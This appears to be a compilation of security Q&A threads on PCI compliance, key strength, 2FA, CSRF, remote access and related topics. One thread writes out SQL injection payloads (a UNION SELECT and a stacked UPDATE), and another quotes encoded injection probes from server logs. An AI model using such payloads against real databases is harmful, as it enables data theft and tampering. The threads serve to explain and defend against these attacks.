As a security compliance professional, what should I do if I find that my employer has a PCI AOC but is not compliant? I have an ethical dilemma. A couple of weeks ago, I accepted a security compliance role. For the past five years I have been working as a PCI QSA before accepting this role.

In the short time that I have been with the company I have come to learn that they should have never been able to acquire their PCI AOC. As the company is not compliant with numerous requirements from multiple categories within the PCI DSS. As a formal PCI QSA I would not have gave them a passing AOC.

I have expressed my concerns with executive management and was simply told well we have it. Yes, they are aware of the shortcomings. Other members of management and the security team have pulled me aside and explained that one certain member of executive management are dear friends with an executive of the QSAC and that is why they were able to get the PCI AOC.

The members of the Security Team agree that they should not have been granted the PCI AOC based on the evidence they provided or lack of evidence. But that I am the third person in this role and to very careful what I say to one certain member of the executive staff even though it is my job to identify and remediate such things. I want this job and I think the company is a good company, the problem appears to be this one executive staff member.

When I was a PCI QSA this decision was simple as I had an ethical obligation to report such infractions to the PCI Council. But now my situation is different, yet I still believe that I have an ethical obligation as a Security Professional.

I don't feel that I should have to choose between doing what is right and keeping my job.

IMHO, the most ethical think to do would be to resign and report them. The reasoning:

You have an ethical obligation to the users to keep their data safe to the extent the company claims you do.
You have an ethical obligation to your company to keep their products working, secure, compliant and to follow orders.

Because you can't uphold both, you should resign, as that would free you of the second obligation and because the company is putting you into this position.

More practically:

You may want to talk with the other execs, explaining that knowingly being not compliant and misleading customers opens the company up to a lawsuit for damages and also that if it was revealed, they could loose consumer confidence especially considering current situation with privacy and security having the public's attention. The possible danger to the company ought to get you their attention.
You may want to consider gathering evidence and letting the mentioned exec fire you, then file a lawsuit for wrongful termination or the other thingy, hindering your career (not a lawyer, consult real lawyer). The result would be the same as in the ethical example, but you would get some money four your trouble.


ECC and RSA 10K stronger claim There are a lot of websites where it is claimed something akin to this but no explanation on the basis.

"ECC key size of 256 bits is equivalent to a 3072-bit RSA key and 10,000 times stronger than a 2048-bit RSA key"

Q: What is the basis of this claim about the 10K factor? Where does the 10K come in?

I see the comparable key sizes from this table (this is referred everywhere).

Also, a link where the claim is made. BTW: This is not the only site that makes this claim.

These estimates are very crude and, arguably, don't make sense.

Asymmetric cryptographic algorithms, like RSA and ECDSA, are based on mathematical structures, and breaking them requires unraveling that structure. Generally speaking, the difficulty of doing so raises with the size of the underlying objects (i.e. the "key size"), but not in an easy, simple, exponential rule.

A lot of efforts have been expanded into making some "strength estimates" to be able to compare RSA key sizes with ECDSA key sizes, and also key sizes for symmetric algorithms (like AES). It is very hard to even define properly, because breaking a RSA key through integer factorization with the best known algorithms for that task (General Number Field Sieve) requires not only a lot of computations, but also handling an awful lot of data with access patterns that are not amenable to serialization and parallelism -- to say things plainly, you need a computer with a really large amount of very fast RAM (we are not talking mere terabytes here). This does not compare directly with, say, AES-key breaking, which needs a lot of CPU but has no need for RAM, and is embarrassingly parallel.

Nevertheless, some smart people still have produced estimates, and there is a nice Web site that presents them and let you tweak the parameters. For instance, if you look at the NIST recommendations, a 2048-bit RSA key is deemed "somehow equivalent" to a 112-bit key for a symmetric algorithm, while a 3072-bit RSA key would rate as a 128-bit symmetric key. Symmetric keys are just bunch of bits with no special structure, so an n-bit key means "can be broken in effort 2n-1 on average" (by enumerating possible combinations of n bits until the right one is found). Therefore, per the NIST estimates, RSA-3072 is deemed to be about 65536 times stronger than RSA-2048 (because 128-112 = 16 and 216 = 65536).

Other equations yield different results. The method explained in RFC 3766 rates RSA-2048 as equivalent to a 103-bit symmetric key, and RSA-3072 up to 125-bit. Now these estimates would imply that RSA-3072 would be more than 4 million times harder to break than RSA-2048 (2125/2103 = 4194304). Let's also note that RFC 3766 says that RSA-2048 is then half a million times weaker than what NIST says it is.

I can also be said that a simple statement such as "RSA-3072 is X times harder to break than RSA-2048" can make sense only if you can quantify the hardness of breaking RSA-2048 and RSA-3072. The quantification is: how much money would it take ? And, right now and also for the foreseeable future (i.e. within the next 40 years), the only sane answer is "forget it". No amount of money on Earth, even with all the existing money taken together, will buy you a RSA-2048 key break or a RSA-3072 key break. This is simply out of reach of our technology.

This does not mean that RSA-2048 will be forever unbreakable; it only says that if (or when) it is broken, it will be through a qualitative enhancement (an algorithmic breakthrough) whose characteristics are, by definition, totally unknown.

Correspondingly, any assertion about RSA-3072 being "10 thousand times" stronger than RSA-2048 are mostly unsubstantiated speculation. Or, at best, a mathematical extrapolation from existing data points, raised to levels that make no physical sense.


Do backup codes render 2FA useless? I've been trying to implement 2FA for a web application, both server and client side. As everybody knows, an H/TOTP is intended to prove that I own something, for example through the use of an authenticator app installed on a mobile phone which will generate the OTP for me.

I'm not sure about what that "something" I own is, so my first question is: is this "something" my phone, or is it the salt for the OTP generation which I load into the app installed on my phone? (If it is the salt, does owning not equate knowing, be it somewhat complicated with an algorithm between me and the salt?)

Given the risk that I loose access to my mobile phone on which I have installed the app, many sites offer me to download backup codes. These codes should be stored in a password manager, just like the password from the first factor. Generally it is possible, after entering my username and password, to bypass the OTP process and enter a backup code through an alternative flow.

My second question is: is my assertion correct that this way the second factor is reduced to something I know, a backup code, and thus merely extending the first factor? (And thus rendering the whole 2FA almost useless, only increasing security a little by adding a second thing I need to know, while increasing the inconvenience of managing more passwords.)

Does the existence of a recovery code render 2FA useless?

No, for several reasons.

First of all, using a recovery code is very noisy. Using a recovery code is not identical to using a password with a TOTP, so a recovery code should not be seen as "simply an extension of the first factor". So if an attacker would use a recovery code and change your phone number to one that the attacker controls, you can be sure that you would get various notices (e.g. via e-Mail, app notification, etc.). Also if you would contact support immediately, stating that an attacker cracked your recovery code, you would probably have high chances of having your access restored.

Secondly, it's recommended not to store a recovery code in the same location as your passwords. Storing your passwords in a Keepass database is a good idea. Recovery codes, however, should not be stored there. I would recommend writing them on a sheet of paper and sticking it in a folder with other important documents (preferably in a safe, or similar). This way, an attacker that gains access to your Keepass database and is able to crack the password of that database, doesn't have access to both password and recovery code.

That way, in order to steal your recovery code, an attacker would either have to guess it (which should be impossible with a recovery code like Lining Everybody Frays Overpay Swinger Boogeyman Rise Anvil Pastel Quaking), or gain access to your home (at which point the security of your GitHub account is probably secondary).


Is there any harm to writing a short plain-text string to authorized_keys? I have a CFN template where I'm seeding an authorized key for testing via paramaters, through a build server. If this value is not provided by the build job, it defaults to a short, plain text string, such as "invalid key". Thinking about this now, I think I'll make it so that the value is not written at all if the key matches the default, however, it made me wonder -- would there be any harm to this? Is it possible for any kind of private key to be generated that would match the public key of "invalid key" ?

I agree that it is better not to write the file, but I expect the risk to be minimal.
Or even better, thanks @dave-thompson-085, mark your short string as a "# comment"

The format of .ssh/authorized_keys records is "[option,option,...] <Type> <base64> [name]".
It seems as long as the first word of the short string does not match any known key type or option, the rest of the malformed line should be safely ignored.

There are other risks, but they are hard to estimate:

Some other tool for auto-editing authorized_keys may get confused
Just the right key type (matching the first word) may be invented in the far, far future
Just the right option and key type (matching the first two words) may be invented
Code path dealing with invalid key types or options may not be throroughly tested.


credit card honeypot service? I recently got both my cards used in fraudulent transactions. I'm trying to trace the leak.

Is there someplace I can buy a fake credit card number that will decline all transactions, but will show me all the attempts that have been made?

This way, I can use this card on the website I suspect leaked my data, and then monitor if someone tries to use that card number later on.

You can try using a pre-paid gift card for this purpose, but know in advance that it may not be effective.

The modus operandi of many credit card thieves is to burrow into a victim company's network, extract the track or card data until they have enough to sell, then put the entire set of stolen data on the black market all at once.  This database of stolen card data is called a "base" on the dark web, and the individual credit card information record is called a "track".  At that time, the clock starts ticking.

They can sell the whole base to a single customer, or sell them one track at a time from a web site.  Often, the data they sell comes with a guarantee that it'll work or you get a replacement track.  Some sites even have customer service chat rooms.

Of course once they start selling tracks, the credit card issuing banks begin their investigations.  They'll do things like correlate the stolen card data in order to trace them all back to the company or companies that were breached.  Once they've identified the companies and notified them, the victim companies scramble to find the malware and remove it; investigators then follow the evidence to figure out when the intruders first started stealing the data; then they produce a list of all potentially stolen credit card numbers and give it to the banks.  The issuing banks then notify their customers and disable the stolen card numbers.  At that time, the clock stops and all the tracks in that base from that victim company are now worthless.

In cases like this, once your stolen card has been used the thieves are likely already done attacking that victim company.  Therefore they won't be harvesting your honeypot card.


How verify id_token from the browser in OAuth2? I have been dwelling into OAuth2 and and OpenID Connect for Authorization flow. And I'm still a bit confused.

I do understand that during the code exchange for an access token the user receives an access_token and on top of that also an id_token. The ID token has personal information like email and username amongst other things.

My main questions

How will the browser be able to verify the ID token? Will the frontend need to be shared the signature key ahead of time?
Does having the id_token mean that session cookies become obsolete in the application? Is it safe to treat them as the same?

To answer your questions:

When it comes to id_token validation, the client needs to verify the integrity and authenticity of the token header and payload by checking the token signature. Yes, the frontend needs to have either client_secret, or public_key of the identity provider. Where it gets it from is implementation-specific, but it can be either embedded inside the client, or the client should download it from the trusted source. The full step-by-step guide of token validation using OpenID Connect is described here:
https://connect2id.com/blog/how-to-validate-an-openid-connect-id-token
You still need the session cookie/token. id_token and session_token serve different purposes and have a different life span. Session token has a shorter life span and had to be refreshed regularly (unless the auth timeout is disabled, which is a questionable choice from a security point of view). While identity token usually only gets renewed with the new login.


What security issues are there with remote access for firewalls, routers, etc.? I am currently looking into cybersecurity for small businesses and it is something I have become very interested in. One of the questions in the questionnaire is:

  Confirm that any remote administrative interface has been disabled on all firewall (or similar) devices

I have been looking at remote access and I can only seem to find ways how to configure it. I was curious on the security issues this poses. I presume that it requires more ports to be open for this to work? What other security implications does this cause?

Basically every "remote access" feature is a potential attack vector, allowing a malicious actor to perform attacks on your device.

For example, if you have a outdated cisco firewall, even if you have the most complex password, an malicious attacker could perform a buffer overflow on the authentication step and maybe get access to your server.

Few recommendations would be:

Disable any insecure protocol on your device (Telnet, FTP, etc..), keep only SSH or encrypted protocols.
Implement whitelists to allow only very specific IPs to connect to the SSH. Never leave remote-access ports open to the internet or to non-trusted networks;
If it's possible, implement a secure jump server, to ensure only authorized people will have access to the SSH interface of the device. If you have a jumpserver, the only IP that should have access to the SSH interface of the firewall should be the jump server IP.
Keep a good access management practice, ensure password complexity and enforce password expiration for user-accounts.


Relationship between Anonymity and Untraceability Anonymity means that nobody knows your real identity (on the Internet).

Untraceability means that nobody is able to trace back your actions to you.

It appears to me that Anonymity and Untraceability is the same thing: if nobody knows my real identity on the Internet, how are other users going to trace my action to me? Similarly, if no one can trace my actions to me, I am considered to be anonymous.

I am unsure if my line of argument is correct and how to define the relationship between Anonymity and Untraceability.

What is the relationship between Anonymity and Untraceability, and how are they different?

The two notions are actually different. Anonymous systems usually are untraceable as a side effect but the reverse isn't true.

Consider, for instance, voting. The process is usually not anonymous: you have to prove you identity and rights to vote before you can do so and the system will keep track of how many votes you have cast. But it can also be untraceable (as an additional property) in the sense that nobody could find out what you actually voted for.


Even though my firewall is active, is it protecting me fully given that the 'rules' are not active? Even though my firewall is active, is it protecting me fully given that the 'rules' are not active?

Output shows:

host based firewall active, empty rules

iptables modules loaded, but no rules active

Maybe I should mention that I recently changed the OS from ubuntu to debian.

The firewall was probably made in relation to the ubuntu system and settings, if that makes any sense. It's also possible that someone could have hacked the fw and deleted the rules.

Without rules in place, your firewall affords no protection, even if enabled.

It is common for a new installation of a Linux distribution to have iptables installed or even enabled without rules in place; adding the rules is left to the system owner, who knows which services they need to expose and which they need to protect.

If you installed Debian where Ubuntu had been installed before, then it will have the configuration of a fresh Debian install; it will not carry forward the Ubuntu configurations that were in place.


Who can access the X-CSRF token? I'm really confused about a CSRF token implementation in a Spring web app that I've inherited.
Basically, everyone can request the token by looking at what Spring Security filters do:

        http
        .exceptionHandling()
        .authenticationEntryPoint(new RestAuthenticationEntryPoint())
        .and()

        .authorizeRequests()

        .antMatchers(HttpMethod.GET,"/token").permitAll()

Initially I tought that the protection comes from the SOP, but the creator of the implementation told me that is not SOP that grant protection without specifying further.
So, in a few words, is it correct to prevent CSRF in this way? Because I feel that something is missing, but I can't realize what.

This is a quite normal way of protection against CSRF.

What is CSRF? It is when an attacker tricks your user to click a link/button and trigger a function in your application that user otherwise would not like to trigger. For instance, an attacker tricks a user to place an order in your application with the attackers delivery address.

It is considered a good practice that any operations that change any data are only triggered via POST, PUT, PATCH, DELETE and that GET does not change anything. Then what will happen if an attacker tricks a user to trigger some GET operation? User will receive the data from your application that he can anyway see. There is nothing harmful in this. That's why there is usually no sense in protecting GET requests against CSRF.

Update:

After comments from the author below it seems that it is a single page application, because if HTML was rendered on server, server could inject the token and it would be not needed to request the token separately.

The case with SPA is addressed already, for instance, see here:

https://blog.eq8.eu/article/rails-api-authentication-with-spa-csrf-tokens.html
https://stackoverflow.com/questions/50159847/single-page-application-and-csrf-token

It is not wrong to get token in such way. But permitAll() should no be used, otherwise an attacker can create a request with a correct token.


How to Secure My DropBox Installation? I am sharing a DropBox Folder with by Friends for a project so that we can be updated with each other progress. But i was not very convince after reading the How secure is Dropbox?. What if one of my friend PC is infected with malware what will be the security impact then. How i can sandbox my shared folder from my rest of my system both for linux and windows. Is it possible or just a myth?

If your friend's PC is infected with malware there is a risk that any file they transfer to you will also be infected. Using an up to date AV solution will minimise this risk, although it won't completely remove the risk as the AV may not find every piece of malware.

It is possible to segregate DropBox, yes - simplest route could be to use a VM and just run DropBox in that.


Most secure remote access to home computer/network I am looking for an very secure option to access my home computer remotely.

I am considering a DD-WRT router with OpenVPN and then once VPN'ed into the network, use Remote Desktop to access my machine (and any other network resources).

I was considering also using a white list of IP's (which would only be my Verizon Mi-Fi) but I don't really want to pay $500 for a static IP address.

Someone else mentioned port knocking.  Can that be used in conjunction with VPN and, if so, would that hide the VPN surface from would be intruders until the port knock sequence was performed?

I should add that I will only be accessing this from my personal laptop so I don't mind being limited as far as password complexity or client certificates.  Any other options for the most secure was of doing this would be appreciated!

As said by @schroeder in his comment, the state of the art way if to use a x509 certificate to authenticate yourself on the VPN. Depending on your security requirements, you can go from a passwordless user certificate in the laptop cert store (easy to use but broken if laptop is stolen), a password protected certificate on the laptop (attacker will need both the cert private key and its password) or a certificate on a smartcard (true 2FA with something you have - the smartcard - and something you know - the cert password).

It is certainly possible to imagine other ways, but I strongly advise you not to roll your own for security questions.


Is user password in ubuntu 13.04 in plain text? Is it stored in plain text or not?

Where can I find the file that contains the username and password for my accounts in Ubuntu 13.04?

I have never seen a unix system that stores passwords in plain text. Traditional unix systems used a hash construction based on DES (which included a salt, but truncated the password to 8 characters and did not perform any slowdown). In the late 1990s most systems switched to a password hashing scheme based on MD5, with salt and a non-configurable slowdown. Nowadays most Linux distributions, including Ubuntu, use a scheme based on SHA-2 with salt and a configurable slowdown. You can tell the password scheme from the first characters in the password field; $6$ indicates a SHA-512-based scheme.

Password hashes were traditionally stored in /etc/passwd, but modern systems keep the passwords in a separate file from the public user database. Linux uses /etc/shadow. You can put passwords in /etc/passwd (it's still supported for backward compatibility), but you have to reconfigure the system to do that.

So the answer for you is: no, it isn't in plain text (and there's no way to make it in plaintext even through misconfiguration). The hash is in /etc/shadow.


Our users get a trojan horse alert on our site, but we don't. What do we do? A user of our website got a trojan horse alert when she tried to get to our website. But myself and some other friends got no alert whatsoever and can go on the website and download files without problems. I scanned my computer and found no traces of malware downloaded from visiting our own website. She seems to be the only one with this problem.

What could be the cause of this?
What should we do to ensure our website doesn't have malware, as owners of the site?
What can our user do (provided the problem is located on her end)?

It depends.

If she's the only one user getting this sort of alert, chances are that her machine is infected. If many users report this issue, it's time to get your website checked.

Also, if she's getting the alert from her legitimate anti-virus product, it could be the case of false-positive. A simple email to the anti-virus vendor would solve your problem.

As AstroDan suggested in comments, it would be better if you check your website using VirusTotal. You should particularly check the URL that the user is reporting.

If you find nothing wrong with your website, ask the user to:
1) Update their OS
2) Update the browsers
3) Use a legitimate anti-virus/anti-malware product, update it, and scan their machine(s).


Can a nation-state adversary perform a MITM attack by compelling a CA to issue them with fake certs? As I understand it, with any encryption system based on a trust chain / CAs (eg SSL, TLS, S/MIME), it would be possible for a nation-state adversary (such as the NSA) to compel the CA to issue them with fraudulent certificates enabling the adversary to perform a MITM attack against all visitors to that website.

Is this correct, or do protocols such as SSL and S/MIME protect in some way against this major flaw? If so, how do they protect against it?

If my understanding is correct, and this type of attack is possible, is there anything stopping organisations such as the NSA from compelling a CA such as Versign to issue them with duplicates of all certificates, and performing a general MITM attack against all SSL secured websites (and S/MIME emails, etc)?

Yes, a nation-state adversary can get a valid certificate for any site from any CA which they have power over. Whether it's legal or not is probably another question which I'm not qualified to answer.

Keep in mind that, even if a hijacked CA starts signing certificates with CNs of popular websites like google.com in order to MITM their traffic, it will be a different certificate and thus a noticable change. One can essentially notice this change by some form of "pinning" -- i.e., associating a specific certificate or public key with a specific website.

Basic vendor-supplied pinnings have existed in Chrome for a while, but now we're seeing more interesting solutions such as TACK and Public Key Pinning, which aim to make it possible for any server admin to temporarily pin keys to their domains.


Cisco ASA5505 ASDM Access Issues I am installing Cisco firewall solution ASA5505. but cannot access user interface. I navigate to  ASA5505 local website 192.168.1.1 from Windows 7 connecting to ASA5505. After the navigating, Java loads appliance but then says "Cannot Load". Please help. I try rebooting ASA5505 but problem persists.

The problem you're describing lies with the Java settings of your Windows machine, not the ASA appliance.  Change the Java security permissions (under Configure Java > Security) and make an exception to the IP address of the ASA port which was configured to accept the HTTPS connections from the ASDM.  Assign a static address to the Windows machine - don't use DHCP - and allow it to access the ASA.


How to verify internet access restricted How can I reliably check in automatized way that there is no Internet access from the Windows (Server 2012 and later) instance?
I mean all possible protocols and programs.

You still need internal network access, correct?  There are lots of ways to be confident the system has no general Internet access but no way to PROVE it.  (If it is networked it can be tunneled, etc.)  You could programatically verify there is no default route for IPv4 or IPv6 - Only routes for your internal networks.  It's basic but easy to script.

If the problem you are trying to solve is making sure the network firewall admins did not open up outbound Internet access from your DMZ, you will need to do active testing against an outside (AWS or other hosted machine) with a combo if scripted NMAP blasting out from the machine you are testing and a deny all firewall on the AWS/hosted sensor machine with logging.  You will need to know what source IP the machine being tested is coming from.  Since it should have no Internet access, you can't just script in a "canihazip" check.


When to use private keys and when to avoid in SSL? So I have a few questions that has been kicking around in my head that I've filled with assumptions that may be incorrect.

From what I understand, we need private key (in the format signedcert+privatekeycert) in every server in an infrastructure that communicates with another server with SSL. Because the private key needs to be there to decrypt messages received for SSL.
Verification is done either by trusted authorities, trusted intermediaries based on certain modes of operation: verify-full (verifies both intermediates & roots), verify-ca (just roots). But you still need private keys for every server unless you are doing one-way SSL right?
What is a chain "bundle"? in some documentation they wrote something like the cert files configured for nginx requires chain bundle. I'm not sure what that means exactly when they said chain bundle in the certificate file between certificate-signed to intermediate CA to root CA. I'm assuming it just means ---begin certificate--- ---begin certificate---- ---begin-certificate---- three certificates in a chain (signed -> intermediate -> root).

Thanks for any help clearing up these misconceptions in my head.

...  Because the private key needs to be there to encrypt messages for SSL.

The private key is needed whenever a party needs to authenticate itself using a certificate. This includes web servers but might also include clients in case of client certificates. The key is not used to encrypt the messages but is used to proof ownership of the certificate using a digital signatures. This proof of ownership is essential to protect against man in the middle attacks. The private key might also be used in the key exchange, but only in the RSA key exchange. The result of the key exchange are shared symmetric keys. Only these get used to encrypt the messages and not the private key.

  Verification is done either by trusted authorities, trusted intermediaries based on certain modes of operation: verify-full (verifies both intermediates & roots), verify-ca (just roots). But you still need private keys for every server unless you are doing one-way SSL right?

I'm not sure what you mean with verify-full and verify-ca. The verification if a certificate is issued by a trusted CA is done by building a trust chain from the leaf certificate (i.e. server certificate in case of a web server) to a locally trusted root CA. This trust chain is build and verified using the issuer information and signature on the certificate. The chain might involve multiple intermediate certificates from the leaf certificate up to the locally trusted root. These intermediate certificate might be send by the peer or might be known locally already, but the end of the trust chain (root CA) must always be locally trusted already.

See SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate? for a nice description on how the chain gets build and verified.

  What is a chain "bundle"?  ...

The chain bundle contains all the intermediate certificates which the server should send additionally to the leaf certificate. These are the intermediate certificates which are needed by the client to build the chain from the leaf certificate to the locally trusted root CA certificate.


Client id and secret as part of query parameter In CA SSO client_id and Client_secret are passed as part of query parameter. is it secured to pass as part of query parameters? even though it's https my research on internet says  it's not best practice or safe enough to pass secured information as part of query param.

ex:
https://api-oidca.example.com/auth/oauth/v2/token?grant_type=client_credentials&client_id=test&client_secret=124ddeee-5c08-4bba-b786-2c0d9233d336

How do you define ‘secure’? It’s certainly not as nice as sending credentials as headers, but Z.T. is right that they can’t be accessed in a URL using TLS. That being said, also as Z.T. alluded to, the fact they’re being sent in a URL means that it’s also likely (or at least much more likely) they’re being logged. Credentials being logged both poses its own set of risks and implies the possibilities of others.

So to answer your question of whether it’s secure to use credentials in URLs - really the answer to that depends on what your threat model looks like. My guess, based on what you’ve described, is that it’s maybe not extremely risky but also maybe not great. (Caveat emptor that that’s just a guess though.)


Can websites use the computing power of visitors? I'm just asking if the developer of a website can use the computing power of the visitors in something like cryptography and bitcoin mining and if that is efficient for them or not?
I know that distributed DDoS attacks may be launched similarly. Where can I read about that topic or something related?

Yes, you could by running JavaScript in the browser. But although JavaScript in the browser has seen many improvements it is probably not the most efficient language to run these kind of algorithms in. The same goes for flash. Now Java applets could be seen already as a better alternative, but the age of Java applets (and possibly flash) is about over. Furthermore, many web browsers now detect ill-behaving scripts.

As dave_thomson_085 indicates in his comment bitcoin mining is now almost exclusively performed on specially developed bitcoin mining hardware. Usually bitcoin mining is not very productive on general purpose computers, even when the computers aren't actually owned by the person doing the mining. That JavaScript has horrible performance with regards to cryptography  - compared to compiled languages with direct support for the underlying primitives - doesn't help here.

So I think DDoS attacks - that rely on the number of connections or the amount of data send (basically the bandwith of the upstream internet connection - are more likely applications for hijacked browsers. But yeah, you can use the resources that the host PC (to the script or application) makes available - of course.


Lowest possible threshold for smartphone app login I am developing an iPhone/Android game app. Currently users must register USERNAME (3 chars min, letters only) + PASSWORD (8 chars min, ascii only) before allowed into the game.

Testing shows some users fumble with this, especially the password, and we are afraid we will lose users because of this.

I'd like to hear elegant ideas from app developers of creating the simplest possible registration process that even 300 grannies will pass.

The game server data contains little "sensitive" information as such, so there's not much to gain from hacking an account.

The following methods are not applicable:

Social media login
Auto-generating passwords

Password security is a trade-off between usability and security. The more "complex" a password is (i.e. difficult for attackers to guess), the harder it gets for the user to remember and type it correctly. You can try to shift the balance a bit with some tricks, but you have to accept that if anybody can use the system without fumbling, then some passwords will be guessable.

Among the possible tricks to make passwords more secure while keeping them usable, you can try the following:

Enforce strict limitations on login rate. For a given user account, you shall not accept more than one login attempt per 10 seconds; possibly, increase this delay after each failure (but don't lock the account permanently, otherwise it becomes too easy to lock other people's accounts).
Use a graphical "alphabet". A password is nothing more than a sequence of symbols, which the user remembers and then "types" by pressing the right buttons on their smartphone screen. Letters and digits piggyback on an ability which most human users learned through years of training, namely reading. However, humans are good at other things than reading. Your app could display a "keyboard" with colourful symbols, which users then use as "letters" for their password (thus, they remember the sequence "cat-plane-cake-chair-tree-tree-rabbit" instead of "u8n.ffi"). With pictures, users will find it easier to build a kind of "story" around their password, which will make it easier for them to remember. (Add colours, but don't use them as a discriminant, since there are colour-blind people.)
Bind the device to the account. For instance, in an HTTPS context, push a random cookie into the client browser. When the user comes back but does not show the cookie, enforce stricter verification rules (e.g. "security questions" or simply longer login delays). This will make life harder for attackers but not for most of your users (people who switch smartphones will experience the longer delay, unless they use some kind of synchronization to transfer their cookies).
Don't overdo it. You state that there is little value in hacking an account. Therefore, you do not need strong security. Risk analysis is paramount: use protection efforts which are proportionate to the value of what you are trying to protect, but no more.
Make the users responsible. In your case, your most valuable asset is your reputation; what would be most damaging in the case of a successful account hack is the idea that your system is "hackable". Therefore, try to proactively blame the user: the user must be convinced that if his account gets hacked, then that's his fault, not yours. This is done by providing the right tools: allow the users to enter strong passwords, and add a visible warning on the registration page ("the user is responsible for choosing a strong password, which is not easy to guess"). This is not a nice thing to do to your users, but everybody does that (beginning with insurance companies: if you do not lock your car door, then you will never be refunded for whatever was stolen from your car).
Offer a non-compulsory password generator. A simple button that the user may push if he decides to get a randomly generated password. Some users will use it, and these, at least, will get strong passwords (and, more importantly, passwords with a known strength).


What kind of attack is this? This past week, my traffic logs are showing many hits (usually with repeated tries) for a URL from perhaps 30+ different IP addresses all over the world. This is not a URL that should garner more than a single hit and it should only be accessed via a link from one page which contains rel="nofollow". The URL calls a PHP page whose sole purpose is to redirect to other websites based on the id= query parameter. The page's URL is

mywebsite.com/linkredirect.php?id=434&site=www.creative-science.org.uk

The above link has also shown up in the logs in other forms:

/linkredirect.php?site=www.ausetute.com.au&id=266%25%27/**/aND/**/%278%25%27%3D%273
.. there were about 50 different iterations of this - which is attempting sql injection - but I can't figure out the purpose of it.

/linkredirect.php?id=434&site=www.premieresurgical.com
... this is an invalid link - the id=434 is valid but the "site=" query is invalid

I participate in Project Honeypot and some of the requests are Suspicious & Comment Spammer.

The user agent appears to always be:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
 ... or something similar

Perhaps unrelated, my error log shows two attempts at what appears a hack attempt at accessing one of my directories

[Tue Mar 04 21:32:12 2014] [error] [client 199.21.99.113] Directory index forbidden by Options directive: /home/myusername/public_html/

What kind of attack is this and what is the purpose? Why bother with repeated attempts to the same link? Is my use of id= as a query parameter an invitation for malicious code to attempt to exploit?

It seems like someone wants to test your site for security flaws.

As you said

  linkredirect.php?site=www.ausetute.com.au&id=266%25%27//aND//%278%25%27%3D%273

is definitely a try for SQL Injection, %25%27%278%25%27%3D%273 is Hex value for %''8%'='3. You can try decoding the whole request in the form at bottom of this page.

Some attackers use the search engine to find interesting parameter names, using Google for this techniques is know as Google dorks. If you go through first few entries of this list, you can come to know how good the parameter id can attract attackers. Using different parameter name could help you from being away from bots/attackers who use above discussed technique.


I want to change my phone number, how can that affect my security & privacy? Today I called my ISP and ask them about changing my phone number, after all my questions concerning ownership the bottom line was that after quarantine expires someone will be able to take that number.

How can that affect my security and privacy if I use that same number for 2FA and it is registered for some chat apps as (Telegram, WhatsApp...) or something else?

I got a new number recently.

One of the first calls I received was a debt collector looking for the previous owner. They were not the last collector to call me. I now know his name is Alvin ___ and he has some outstanding debt. Being debt collectors, I probably could have pretended to be a roommate or AA sponsor and pressed them harder to get more details about the guy.

One of the next calls I got was from CVS pharmacy, telling me Alvin's prescription was ready to be picked up. CVS requires you to validate some other piece of information before they'll tell you the name of it, but other pharmacies might reveal more about your prescriptions without additional verification.

I also got a call from his doctor. They left a message requesting he call back about his test results. I didn't follow up.

I received a string of group text messages from his co-workers about sports games, delivery plans and pickup locations and got berated by one of them for not showing up to a job. After being sent a picture of a barrel "I" had failed to pick up, I learned Alvin works in hazardous chemical delivery. So now we know he's a blue-collar guy and likes sports. That should help limit the password pool. His co-workers likely could have yielded more information such as email or residential address.

I also received a 2FA message intended for Alvin. Now I know where he does his banking. All I need is an email address...

Eventually traffic destined for Alvin came to a stop.

Then I signed up for a Google Voice number. I immediately got a text message intended for the previous owner soliciting sexual favors for an insultingly low amount of money. I politely declined his offer.

Long story short, there's a lot you can learn about an individual when you have their phone number.


SQL Injection after Like Operator with continuing query is it possible to add a new query like update in between this?:

SELECT characters.id as charId
FROM characters
WHERE characters.name
LIKE '%<User-Input-Here>%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0

I found out that union is a vunerability here:
User Input: ' union select count(characters.id) FROM characters -- '
Result:

SELECT characters.id
FROM characters
WHERE characters.name
LIKE '%' union select count(characters.id) FROM characters -- '%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0

But my question now:
Is it somehow possible to add a complete new query?
I already tried something like:

'; UPDATE characters SET characters.name = 'foo' -- '

Which becomes following:

SELECT characters.id
FROM characters
WHERE characters.name
LIKE '%'; UPDATE characters SET characters.name = 'foo' -- '%'
ORDER BY `level` DESC, exp DESC
LIMIT 10
OFFSET 0

I recieve this error message:

check the manual that corresponds to your MySQL server version for the right
syntax to use near
'update characters set characters.name = 'foo' --
'%'\n\nORDER BY `level` DESC, exp' at line 15",

I have a feeling that semicolons dont work in this case. If so, why wouldn't they and is there a alternative/workaround?

MySQL does not normally allow multiple statements per call, so you can't do this type of injection. The error you're seeing is because of this. The application has to explicitly enable multiple statements per call, which is done differently on a per-language basis. For example, PHP has mysqli_multi_query, whereas the C binding requires you to pass CLIENT_MULTI_STATEMENTS to mysql_real_connect and then query calls can have multiple statements in them.

Whereas other RDBMS products (e.g. MSSQL) support a SELECT ... INTO syntax that may allow you to inject an INTO clause onto the end of a SELECT and use it to add new rows to another table, MySQL does not support this synax. Instead you have to specify INSERT INTO at the start, so it isn't possible to inject an INTO clause in this fasion.


How do I make or get computer certificates to use with IPSEC user authentication on Windows? I am having trouble and need some direction using computer certificates with Windows 7 firewall IP Security rules, using certificates only for user authentication. I can get everything to work correctly using a passphrase for user authentication. However, I would like to use certificates.

I cannot find any documentation on the requirements to make certificates for IPSEC user authentication.

I have been using makecert to create the third party CA then made some certificates using the following ekus:

Server Authentication EKU is        1.3.6.1.5.5.7.3.1
IP security IKE intermediate EKU is 1.3.6.1.5.5.8.2.2
Client Certificate EKU is           1.3.6.1.5.5.7.3.2

Does anyone know of a good resource or documentation for Windows 7 firewall that includes this message? Or has anyone created these kind of certificates before and would be willing to assist me?

In terms of making the certificates and requiring the server to use certificate authentication, have a look at this resource: http://support.microsoft.com/kb/814394

In order to get the certificates, the following is a handy way to do it over HTTPS so you won't need to get into reconfiguring firewall rulesets to permit:
https://blogs.technet.com/b/askds/archive/2010/02/01/certificate-enrollment-web-services.aspx?Redirected=true


Software that encrypts the data before deleting it I am searching for a software that would encrypt data and then delete it (as opposed to just deleting or wiping).

With that, even if the file is recovered, you still have to break the encryption to get the data.

I suppose manually I could encrypt the files through GPG and then delete them but I was wondering if there a more automated option through specialized software.

